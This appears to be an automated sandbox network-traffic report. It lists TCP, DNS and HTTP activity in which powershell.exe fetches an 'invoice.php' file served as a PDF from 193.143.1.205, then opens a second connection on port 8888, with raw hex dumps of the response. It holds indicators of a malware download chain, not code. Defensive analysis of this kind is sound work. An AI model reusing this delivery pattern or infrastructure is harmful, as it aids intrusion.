Jan 10, 2025 22:19:13.542100906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542146921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542160034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542171955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542182922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542195082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542198896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.542212963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542227030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.542274952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575042009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575057030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575067997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575079918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575093031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575103998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575114965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575264931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575356960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575453043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575465918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575476885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575489998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575493097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575501919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575515032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575516939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575522900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575547934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575560093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575565100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575572014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575587988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575604916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575607061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575623035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575634956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575649023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.575664043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.575690985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597470999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597489119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597501040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597508907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597578049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597637892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597651005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597662926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597676992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597680092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597687960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597700119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597718000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597719908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597731113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597755909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597764969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597769022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597781897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597794056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597795963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597807884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597814083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597829103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597835064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597836971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597845078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597855091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597861052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597867966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597883940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597888947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597902060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597913027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597914934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597924948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597932100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597939014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597949982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597960949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597971916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597973108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597982883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.597996950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.597997904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598010063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598031998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598035097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598042011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598050117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598062992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598066092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598081112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598097086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598097086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598112106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598123074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598136902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598148108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598155975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598170042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598179102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598181009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598192930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598192930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598208904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598221064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598222971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598234892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598248005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598258972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598269939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598270893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598282099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598287106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598298073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598299026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598314047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598484993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598506927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598514080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598520994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598526955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598540068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598545074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598552942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598565102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598573923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598577023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598592997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598598003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598603964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598615885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598627090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598639011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598643064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598654985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598668098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598675966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598679066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598692894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598695993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598706007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598706961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598721981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598732948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.598741055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.598769903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.602052927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.613775969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.613832951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.613898039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.613908052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.613914013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.613919973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.613925934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.613931894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.613938093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.614044905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.634573936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.634602070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.634618998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.634630919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.634643078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.634654999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.634654045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.634670019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.634687901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.634728909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.667500019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667550087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667562008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667574883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667587042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667601109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667612076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667624950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667670965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.667714119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667714119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.667788982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667799950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667826891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.667846918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667860031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667871952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667880058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.667884111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667896986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667910099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.667922020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667937994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.667953014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667964935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667978048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.667987108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.668006897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.668016911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.668023109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.668030024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.668045044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.668051004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.668082952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.688307047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688318968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688352108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688371897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688385010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688396931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688407898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688421011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688432932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.688493967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.688505888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688520908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688530922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688554049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688563108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.688574076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688589096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.688592911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688606977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688618898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688625097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.688652992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.688900948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688910961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.688941002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:14.103075027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:14.661165953 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:14.666100979 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:14.666450024 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:14.666450024 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:14.671298981 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:15.453197002 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:15.493475914 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:15.847083092 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:19:22.362668991 CET	53924	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:19:22.362668991 CET	192.168.2.8	1.1.1.1	0x8f66	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:19:22.369584084 CET	1.1.1.1	192.168.2.8	0x8f66	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:19:23.116161108 CET	1.1.1.1	192.168.2.8	0x1c97	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:19:23.116161108 CET	1.1.1.1	192.168.2.8	0x1c97	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	2332	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:19:12.111713886 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:19:12.942487001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:19:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:19:12.942531109 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:19:12.942666054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:19:12.942678928 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:19:12.942715883 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 22:19:12.942749023 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 22:19:12.942784071 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 22:19:12.942817926 CET	1120	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
